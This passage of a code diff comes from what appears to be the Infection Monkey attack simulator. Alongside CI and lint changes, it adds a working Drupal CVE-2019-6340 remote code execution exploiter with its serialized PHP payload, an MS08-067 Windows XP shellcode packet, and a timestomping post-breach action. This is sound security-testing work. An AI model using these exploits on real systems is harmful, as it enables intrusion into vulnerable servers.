mJTIwbWFjaGluZXMlMjB0aGUlMjBtb25rZXklMjBpcyUyMGFsbG93ZWQlMjB0byUyMHNjYW4lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0NyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0OCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnZpY3RpbXNfbWF4X2V4cGxvaXQlNUMlMjIlM0ElMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0OSUyQyUyMmIlMjIlM0E0MyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIyTWF4JTIwdmljdGltcyUyMHRvJTIwZXhwbG9pdCU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUwJTJDJTIyYiUyMiUzQTQ0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydHlwZSU1QyUyMiUzQSUyMCU1QyUyMmludGVnZXIlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1MSUyQyUyMmIlMjIlM0E0NSU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTQwJTJDJTIybGluZXNDb3VudCUyMiUzQTEyJTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTQwJTJDJTIybGluZXNDb3VudCUyMiUzQTYlN0QlN0QlN0QlN0Q="
+            ]
+        }
+    },
+    "app_version": "0.1.80",
+    "file_version": "1.0.2"
+}

.swm/swimm.json

@@ -0,0 +1,7 @@
+{
+    "repo_id": "6Nlb99NtY5Fc3bSd8suH",
+    "configuration": {
+        "cr_prompt_push_solution": true,
+        "store_solution_upon_done": true
+    }
+}

.travis.yml

@@ -73,7 +73,7 @@ script:
 ## Display the linter issues
 - cat flake8_warnings.txt
 ## Make sure that we haven't increased the amount of warnings.
-- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=120
+- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=80
 - if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
 
 ## Check import order
@@ -90,13 +90,20 @@ script:
 - cd monkey_island/cc/ui
 - npm ci  # See https://docs.npmjs.com/cli/ci.html
 - eslint ./src --quiet  # Test for errors
-- JS_WARNINGS_AMOUNT_UPPER_LIMIT=28
+- JS_WARNINGS_AMOUNT_UPPER_LIMIT=4
 - eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT  # Test for max warnings
 
 # Build documentation
 - cd $TRAVIS_BUILD_DIR/docs
 - hugo --verbose --environment staging
 
+# verify swimm
+- cd $TRAVIS_BUILD_DIR
+- wget https://firebasestorage.googleapis.com/v0/b/swimmio.appspot.com/o/Release%2Fv018%2Fswimm-0.1.8-linux-executable\?alt\=media\&token\=e59c0a18-577f-4b77-bb3b-91b22c3d8b2a -O swimm
+- chmod +x ./swimm
+- ./swimm --version
+- ./swimm verify
+
 after_success:
   # Upload code coverage results to codecov.io, see https://github.com/codecov/codecov-bash for more information
   - bash <(curl -s https://codecov.io/bash)

docs/content/FAQ/_index.md

@@ -152,3 +152,11 @@ This is sometimes caused when Monkey Island is installed with an old version of
 ## How can I get involved with the project? 👩‍💻👨‍💻
 
 The Monkey is an open-source project, and we weclome contributions and contributors. Check out the [contribution documentation](../development) for more information.
+
+## About the project 🐵
+
+### How did you come up with the Infection Monkey?
+
+Oddly enough, the idea of proactively breaking the network to test its survival wasn’t born in the security industry. In 2011, the streaming giant Netflix released Chaos Monkey, a tool that was designed to randomly disable the company’s production servers to verify they could survive network failures without any customer impact. Netflix's Chaos Monkey became a popular network resilience tool, breaking the network in a variety of failure modes, including connectivity issues, invalid SSL certificates and randomly deleting VMs.
+
+Inspired by this concept, Guardicore Labs developed its own attack simulator - Infection Monkey - to run non-intrusively within existing production environments. The idea was to test the resiliency of modern data centers against attack and give security teams the insights they need to make informed decisions and enforce tighter security policies. Since its launch in 2017 (?) the Infection Monkey has been used by hundreds of information technology teams from across the world to find weaknesses in their on-premises and cloud-based data centers.

docs/content/development/swimm.md

@@ -0,0 +1,29 @@
+---
+title: "Swimm tutorials"
+date: 2020-09-02T22:14:58+03:00
+draft: false
+weight: 3
+tags: ["contribute"]
+---
+
+The Monkey has development tutorials that use [`swimm.io`](https://swimm.io/) to help teach new developers how to perform common code tasks in the Monkey codebase and help the ramp-up process. The tutorial include adding new configuration values, new system info collectors, and more.
+
+ ![swimm logo](https://swimm.io/img/squarelogo.png "swimm logo")
+
+# How to start learning
+
+First, [sign up for swimm's beta](https://swimm.io/sign-beta). `swimm` is free for open-source projects, but as they're still in beta, you need to sign up in order to download it.
+
+After you've downloaded and installed `swimm`, open a shell in the Monkey repo folder and run:
+
+```shell script
+swimm start
+``` 
+
+A local web server with the currently available tutorials should show up, and look something like this:
+
+![swimm server](https://i.imgur.com/NFBH4Vr.png "swimm server")
+
+Choose which playlist you'd like to learn, click on it, and follow the instructions.
+
+🏊‍♀️🏊‍♂️

docs/content/reference/exploiters/Drupal.md

@@ -0,0 +1,35 @@
+---
+title: "Drupal"
+date: 2020-09-01T08:42:46+03:00
+draft: false
+tags: ["exploit", "linux", "windows"]
+---
+
+The Drupal exploiter exploits [CVE-2019-6340](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340) 
+on a vulnerable Drupal server.
+
+### Description
+
+Some field types do not properly sanitize data from non-form sources in certain versions
+of Drupal server. 
+
+This can lead to arbitrary PHP code execution in some cases.
+
+
+### Affected Versions
+
+* Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10.
+
+One of the following conditions must hold:
+* The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH 
+or POST requests; OR
+* The site has another web services module enabled, like JSON:API in 
+Drupal 8, or Services or RESTful Web Services in Drupal 7.
+
+
+### Notes
+
+* The Infection Monkey exploiter implementation is based on an open-source 
+[Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a) 
+of the exploit by @leonjza.
+* For the full attack to work, more than one vulnerable URL is required. 

docs/themes/learn

@@ -1 +1 @@
-Subproject commit e010f0287ae724c7c072b23e6075f4b123e99b7c
+Subproject commit 4fdb70e3639143076ce2cd7d5a69cc1df8e78caf

envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py

@@ -91,16 +91,14 @@ class MonkeyIslandRequests(object):
         return requests.patch(self.addr + url,  # noqa: DUO123
                               data=data,
                               headers=self.get_jwt_header(),
-                              verify=False
-        )
+                              verify=False)
 
     @_Decorators.refresh_jwt_token
     def delete(self, url):
         return requests.delete(  # noqa: DOU123
             self.addr + url,
             headers=self.get_jwt_header(),
-            verify=False
-        )
+            verify=False)
 
     @_Decorators.refresh_jwt_token
     def get_jwt_header(self):

monkey/common/common_consts/post_breach_consts.py

@@ -6,6 +6,7 @@ POST_BREACH_HIDDEN_FILES = "Hide files and directories"
 POST_BREACH_TRAP_COMMAND = "Execute command when a particular signal is received"
 POST_BREACH_SETUID_SETGID = "Setuid and Setgid"
 POST_BREACH_JOB_SCHEDULING = "Schedule jobs"
+POST_BREACH_TIMESTOMPING = "Modify files' timestamps"
 POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC = "Signed script proxy execution"
 POST_BREACH_ACCOUNT_DISCOVERY = "Account discovery"
 POST_BREACH_CLEAR_CMD_HISTORY = "Clear command history"

monkey/common/network/network_range.py

@@ -28,7 +28,7 @@ class NetworkRange(object, metaclass=ABCMeta):
         """
         base_range = self.get_range()
         if self._shuffle:
-            random.shuffle(base_range)
+            random.shuffle(base_range)  # noqa: DUO102
 
         for x in base_range:
             yield self._number_to_ip(x)

monkey/common/network/network_utils.py

@@ -1,3 +1,4 @@
+import re
 from urllib.parse import urlparse
 
 
@@ -10,3 +11,10 @@ def get_host_from_network_location(network_location: str) -> str:
     """
     url = urlparse("http://" + network_location)
     return str(url.hostname)
+
+
+def remove_port(url):
+    parsed = urlparse(url)
+    with_port = f'{parsed.scheme}://{parsed.netloc}'
+    without_port = re.sub(':[0-9]+(?=$|\/)', '', with_port)
+    return without_port

monkey/common/network/test_network_utils.py

@@ -1,12 +1,18 @@
 from unittest import TestCase
 
-from common.network.network_utils import get_host_from_network_location
+from common.network.network_utils import (get_host_from_network_location,
+                                          remove_port)
 
 
 class TestNetworkUtils(TestCase):
-    def test_remove_port_from_ip_string(self):
+    def test_get_host_from_network_location(self):
         assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
         assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
         assert get_host_from_network_location("127.0.0.1") == "127.0.0.1"
         assert get_host_from_network_location("www.google.com:8080") == "www.google.com"
         assert get_host_from_network_location("user:password@host:8080") == "host"
+    
+    def test_remove_port_from_url(self):
+        assert remove_port('https://google.com:80') == 'https://google.com'
+        assert remove_port('https://8.8.8.8:65336') == 'https://8.8.8.8'
+        assert remove_port('ftp://ftpserver.com:21/hello/world') == 'ftp://ftpserver.com'

monkey/infection_monkey/exploit/HostExploiter.py

@@ -1,3 +1,4 @@
+import logging
 from abc import abstractmethod
 from datetime import datetime
 
@@ -9,6 +10,9 @@ from infection_monkey.utils.plugins.plugin import Plugin
 __author__ = 'itamar'
 
 
+logger = logging.getLogger(__name__)
+
+
 class HostExploiter(Plugin):
     @staticmethod
     def should_run(class_name):
@@ -66,8 +70,11 @@ class HostExploiter(Plugin):
 
     def exploit_host(self):
         self.pre_exploit()
+        result = None
         try:
             result = self._exploit_host()
+        except Exception as _:
+            logger.error(f'Exception in exploit_host', exc_info=True)
         finally:
             self.post_exploit()
         return result

monkey/infection_monkey/exploit/drupal.py

@@ -0,0 +1,191 @@
+"""
+Remote Code Execution on Drupal server - CVE-2019-6340
+Implementation is based on:
+    https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a.
+"""
+
+import logging
+from urllib.parse import urljoin
+
+import requests
+
+from common.network.network_utils import remove_port
+from infection_monkey.exploit.web_rce import WebRCE
+from infection_monkey.model import ID_STRING
+
+__author__ = 'Ophir Harpaz'
+
+LOG = logging.getLogger(__name__)
+
+
+class DrupalExploiter(WebRCE):
+    _TARGET_OS_TYPE = ['linux', 'windows']
+    _EXPLOITED_SERVICE = 'Drupal Server'
+
+    def __init__(self, host):
+        super(DrupalExploiter, self).__init__(host)
+
+    def get_exploit_config(self):
+        """
+        We override this function because the exploits requires a special extension in the URL, "node",
+        e.g. an exploited URL would be http://172.1.2.3:<port>/node/3.
+        :return: the Drupal exploit config
+        """
+        exploit_config = super(DrupalExploiter, self).get_exploit_config()
+        exploit_config['url_extensions'] = ['node/',         # In Linux, no path is added
+                                            'drupal/node/']  # However, Bitnami installations are under /drupal
+        return exploit_config
+
+    def add_vulnerable_urls(self, potential_urls, stop_checking=False):
+        """
+        We need a specific implementation of this function in order to add the URLs *with the node IDs*.
+        We therefore check, for every potential URL, all possible node IDs.
+        :param potential_urls: Potentially-vulnerable URLs
+        :param stop_checking: Stop if one vulnerable URL is found
+        :return: None (in-place addition)
+        """
+        for url in potential_urls:
+            try:
+                node_ids = find_exploitbale_article_ids(url)
+                if node_ids is None:
+                    LOG.info('Could not find a Drupal node to attack')
+                    continue
+                for node_id in node_ids:
+                    node_url = urljoin(url, str(node_id))
+                    if self.check_if_exploitable(node_url):
+                        self.add_vuln_url(url)  # This is for report. Should be refactored in the future
+                        self.vulnerable_urls.append(node_url)
+                        if stop_checking:
+                            break
+            except Exception as e:  # We still don't know which errors to expect
+                LOG.error(f'url {url} failed in exploitability check: {e}')
+        if not self.vulnerable_urls:
+            LOG.info("No vulnerable urls found")
+
+    def check_if_exploitable(self, url):
+        """
+        Check if a certain URL is exploitable.
+        We use this specific implementation (and not simply run self.exploit) because this function does not "waste"
+        a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic.
+        :param url: Drupal's URL and port
+        :return: Vulnerable URL if exploitable, otherwise False
+        """
+        payload = build_exploitability_check_payload(url)
+
+        response = requests.get(f'{url}?_format=hal_json',  # noqa: DUO123
+                                json=payload,
+                                headers={"Content-Type": "application/hal+json"},
+                                verify=False)
+
+        if is_response_cached(response):
+            LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
+            return False
+
+        return 'INVALID_VALUE does not correspond to an entity on this site' in response.text
+
+    def exploit(self, url, command):
+        # pad a easy search replace output:
+        cmd = f'echo {ID_STRING} && {command}'
+        base = remove_port(url)
+        payload = build_cmd_execution_payload(base, cmd)
+
+        r = requests.get(f'{url}?_format=hal_json',  # noqa: DUO123
+                         json=payload,
+                         headers={"Content-Type": "application/hal+json"},
+                         verify=False)
+
+        if is_response_cached(r):
+            LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
+
+        if ID_STRING not in r.text:
+            LOG.warning('Command execution _may_ have failed')
+
+        result = r.text.split(ID_STRING)[-1]
+        return result
+
+    def get_target_url(self):
+        """
+        We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL.
+        Reusing the same URL eliminates its exploitability because of caching reasons :)
+        :return: vulnerable URL to exploit
+        """
+        return self.vulnerable_urls.pop()
+
+    def are_vulnerable_urls_sufficient(self):
+        """
+        For the Drupal exploit, 5 distinct URLs are needed to perform the full attack.
+        :return: Whether the list of vulnerable URLs has at least 5 elements.
+        """
+        # We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it.
+        num_urls_needed_for_full_exploit = 5
+        num_available_urls = len(self.vulnerable_urls)
+        result = num_available_urls >= num_urls_needed_for_full_exploit
+        if not result:
+            LOG.info(f'{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server '
+                     f'but only {num_available_urls} found')
+        return result
+
+
+def is_response_cached(r: requests.Response) -> bool:
+    """ Check if a response had the cache header. """
+    return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
+
+
+def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set:
+    """ Find target articles that do not 404 and are not cached """
+    articles = set()
+    while lower < upper:
+        node_url = urljoin(base_url, str(lower))
+        response = requests.get(node_url, verify=False)  # noqa: DUO123
+        if response.status_code == 200:
+            if is_response_cached(response):
+                LOG.info(f'Found a cached article at: {node_url}, skipping')
+            else:
+                articles.add(lower)
+        lower += 1
+    return articles
+
+
+def build_exploitability_check_payload(url):
+    payload = {
+        "_links": {
+            "type": {
+                "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"
+            }
+        },
+        "type": {
+            "target_id": "article"
+        },
+        "title": {
+            "value": "My Article"
+        },
+        "body": {
+            "value": ""
+        }
+    }
+    return payload
+
+
+def build_cmd_execution_payload(base, cmd):
+    payload = {
+        "link": [
+            {
+                "value": "link",
+                "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
+                           "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
+                           "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
+                           "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
+                           "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
+                           "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
+                           "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
+                           "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
+                           "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
+            }
+        ],
+        "_links": {
+            "type": {
+                "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
+            }
+        }
+    }
+    return payload

monkey/infection_monkey/exploit/web_rce.py

@@ -89,13 +89,13 @@ class WebRCE(HostExploiter):
         if not ports:
             return False
         # Get urls to try to exploit
-        urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
-        self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
+        potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
+        self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls'])
 
-        if not self.vulnerable_urls:
+        if not self.are_vulnerable_urls_sufficient():
             return False
 
-        self.target_url = self.vulnerable_urls[0]
+        self.target_url = self.get_target_url()
         self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url)
 
         # Skip if monkey already exists and this option is given
@@ -104,21 +104,21 @@ class WebRCE(HostExploiter):
             return True
 
         # Check for targets architecture (if it's 32 or 64 bit)
-        if not exploit_config['blind_exploit'] and not self.set_host_arch(self.target_url):
+        if not exploit_config['blind_exploit'] and not self.set_host_arch(self.get_target_url()):
             return False
 
         # Upload the right monkey to target
-        data = self.upload_monkey(self.target_url, exploit_config['upload_commands'])
+        data = self.upload_monkey(self.get_target_url(), exploit_config['upload_commands'])
 
         if data is False:
             return False
 
         # Change permissions to transform monkey into executable file
-        if self.change_permissions(self.target_url, data['path']) is False:
+        if self.change_permissions(self.get_target_url(), data['path']) is False:
             return False
 
         # Execute remote monkey
-        if self.execute_remote_monkey(self.target_url, data['path'], exploit_config['dropper']) is False:
+        if self.execute_remote_monkey(self.get_target_url(), data['path'], exploit_config['dropper']) is False:
             return False
 
         return True
@@ -193,6 +193,7 @@ class WebRCE(HostExploiter):
 
     def build_potential_urls(self, ports, extensions=None):
         """
+        Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions.
         :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
         Eg. ports: [[80, False], [443, True]]
         :param extensions: What subdirectories to scan. www.domain.com[/extension]
@@ -350,7 +351,6 @@ class WebRCE(HostExploiter):
         if not commands:
             commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
         command = self.get_command(paths['dest_path'], http_path, commands)
-
         resp = self.exploit(url, command)
         self.add_executed_cmd(command)
         resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
@@ -508,3 +508,21 @@ class WebRCE(HostExploiter):
 
     def set_vulnerable_port_from_url(self, url):
         self.vulnerable_port = HTTPTools.get_port_from_url(url)
+
+    def get_target_url(self):
+        """
+        This method allows "configuring" the way in which a vulnerable URL is picked.
+        If the same URL should be used - always return the first.
+        Otherwise - implement your own (e.g. Drupal must use a new URI each time).
+        :return: a vulnerable URL
+        """
+        return self.vulnerable_urls[0]
+    
+    def are_vulnerable_urls_sufficient(self):
+        """
+        Determine whether the number of vulnerable URLs is sufficient in order to perform the full attack.
+        Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a vulnerable URL is for
+        single use, thus we need a couple of them.
+        :return: Whether or not a full attack can be performed using the available vulnerable URLs.
+        """
+        return len(self.vulnerable_urls) > 0

monkey/infection_monkey/exploit/win_ms08_067.py

@@ -50,6 +50,23 @@ OBFUSCATED_SHELLCODE = ("\xa9\xb6\x4a\x39\x56\x60\xb5\xba\xf6\xb2\xc0\x19\xc1\x6
 
 SHELLCODE = clarify(OBFUSCATED_SHELLCODE)
 
+XP_PACKET = ("\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43"
+             "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01"
+             "\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47"
+             "\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48"
+             "\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49"
+             "\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"
+             "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90"
+             "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
+             "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
+             "\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00"
+             "\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02"
+             "\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41"
+             "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
+             "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90"
+             "\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00"
+             "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00")
+
 # Payload for Windows 2000 target
 PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
 PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
@@ -82,6 +99,7 @@ PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00'
 class WindowsVersion(IntEnum):
     Windows2000 = 1
     Windows2003_SP2 = 2
+    WindowsXP = 3
 
 
 class SRVSVC_Exploit(object):
@@ -91,6 +109,7 @@ class SRVSVC_Exploit(object):
         self._port = port
         self._target = target_addr
         self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003
+        self.os_version = os_version
 
     def get_telnet_port(self):
         """get_telnet_port()
@@ -129,6 +148,8 @@ class SRVSVC_Exploit(object):
         return sock
 
     def _build_dce_packet(self):
+        if self.os_version == WindowsVersion.WindowsXP:
+            return XP_PACKET
         # Constructing Malicious Packet
         dce_packet = '\x01\x00\x00\x00'
         dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
@@ -157,7 +178,8 @@ class Ms08_067_Exploiter(HostExploiter):
     _TARGET_OS_TYPE = ['windows']
     _EXPLOITED_SERVICE = 'Microsoft Server Service'
     _windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
-                         'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
+                         'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
+                         'Windows 5.1': WindowsVersion.WindowsXP}
 
     def __init__(self, host):
         super(Ms08_067_Exploiter, self).__init__(host)
@@ -231,7 +253,7 @@ class Ms08_067_Exploiter(HostExploiter):
                     break
 
             if not remote_full_path:
-                return False
+                return True
 
         # execute the remote dropper in case the path isn't final
         if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
@@ -251,7 +273,7 @@ class Ms08_067_Exploiter(HostExploiter):
             sock.send(("net user %s /delete\r\n" % (self._config.user_to_add,)).encode())
         except Exception as exc:
             LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
-            return False
+            return True
         finally:
             try:
                 sock.close()

monkey/infection_monkey/main.py

@@ -7,8 +7,9 @@ import sys
 import traceback
 from multiprocessing import freeze_support
 
+# dummy import for pyinstaller
 # noinspection PyUnresolvedReferences
-import infection_monkey.post_breach  # dummy import for pyinstaller
+import infection_monkey.post_breach  # noqa: F401
 from common.version import get_version
 from infection_monkey.config import EXTERNAL_CONFIG_FILE, WormConfiguration
 from infection_monkey.dropper import MonkeyDrops

monkey/infection_monkey/model/__init__.py

@@ -1,4 +1,4 @@
-from infection_monkey.model.host import VictimHost
+from infection_monkey.model.host import VictimHost  # noqa: F401
 
 __author__ = 'itamar'
 

monkey/infection_monkey/monkey.py

@@ -89,7 +89,7 @@ class InfectionMonkey(object):
         if self._opts.depth is not None:
             WormConfiguration._depth_from_commandline = True
             WormConfiguration.depth = self._opts.depth
-            LOG.debug(f"Setting propagation depth from command line")
+            LOG.debug("Setting propagation depth from command line")
         LOG.debug(f"Set propagation depth to {WormConfiguration.depth}")
 
         self._keep_running = True
@@ -337,8 +337,8 @@ class InfectionMonkey(object):
         :return: True if successfully exploited, False otherwise
         """
         if not exploiter.is_os_supported():
-            LOG.info("Skipping exploiter %s host:%r, os is not supported",
-                     exploiter.__class__.__name__, machine)
+            LOG.info("Skipping exploiter %s host:%r, os %s is not supported",
+                     exploiter.__class__.__name__, machine, machine.os)
             return False
 
         LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)

monkey/infection_monkey/network/ping_scanner.py

@@ -12,7 +12,7 @@ __author__ = 'itamar'
 
 PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c"
 PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W"
-TTL_REGEX_STR = '(?<=TTL\=)[0-9]+'
+TTL_REGEX_STR = r'(?<=TTL\=)[0-9]+'
 LINUX_TTL = 64
 WINDOWS_TTL = 128
 

monkey/infection_monkey/network/sshfinger.py

@@ -6,7 +6,7 @@ from infection_monkey.network.tools import check_tcp_port
 
 SSH_PORT = 22
 SSH_SERVICE_DEFAULT = 'tcp-22'
-SSH_REGEX = 'SSH-\d\.\d-OpenSSH'
+SSH_REGEX = r'SSH-\d\.\d-OpenSSH'
 TIMEOUT = 10
 BANNER_READ = 1024
 LINUX_DIST_SSH = ['ubuntu', 'debian']

monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py

@@ -44,7 +44,7 @@ class CommunicateAsNewUser(PBA):
 
     @staticmethod
     def get_random_new_user_name():
-        return USERNAME_PREFIX + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
+        return USERNAME_PREFIX + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))  # noqa: DUO102
 
     @staticmethod
     def get_commandline_for_http_request(url, is_windows=is_windows_os()):

monkey/infection_monkey/post_breach/actions/hide_files.py

@@ -4,8 +4,9 @@ from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
 from infection_monkey.utils.environment import is_windows_os
 from infection_monkey.utils.hidden_files import (cleanup_hidden_files,
                                                  get_commands_to_hide_files,
-                                                 get_commands_to_hide_folders,
-                                                 get_winAPI_to_hide_files)
+                                                 get_commands_to_hide_folders)
+from infection_monkey.utils.windows.hidden_files import \
+    get_winAPI_to_hide_files
 
 HIDDEN_FSO_CREATION_COMMANDS = [get_commands_to_hide_files,
                                 get_commands_to_hide_folders]

monkey/infection_monkey/post_breach/actions/timestomping.py

@@ -0,0 +1,12 @@
+from common.data.post_breach_consts import POST_BREACH_TIMESTOMPING
+from infection_monkey.post_breach.pba import PBA
+from infection_monkey.post_breach.timestomping.timestomping import \
+    get_timestomping_commands
+
+
+class Timestomping(PBA):
+    def __init__(self):
+        linux_cmds, windows_cmds = get_timestomping_commands()
+        super().__init__(POST_BREACH_TIMESTOMPING,
+                         linux_cmd=linux_cmds,
+                         windows_cmd=windows_cmds)

monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py

@@ -1,5 +1,5 @@
 SCHEDULED_TASK_NAME = 'monkey-spawn-cmd'
-SCHEDULED_TASK_COMMAND = 'C:\windows\system32\cmd.exe'
+SCHEDULED_TASK_COMMAND = r'C:\windows\system32\cmd.exe'
 
 # Commands from: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md
 

monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py

@@ -0,0 +1,14 @@
+TEMP_FILE = 'monkey-timestomping-file.txt'
+TIMESTAMP_EPOCH = '197001010000.00'
+
+
+def get_linux_timestomping_commands():
+    return [
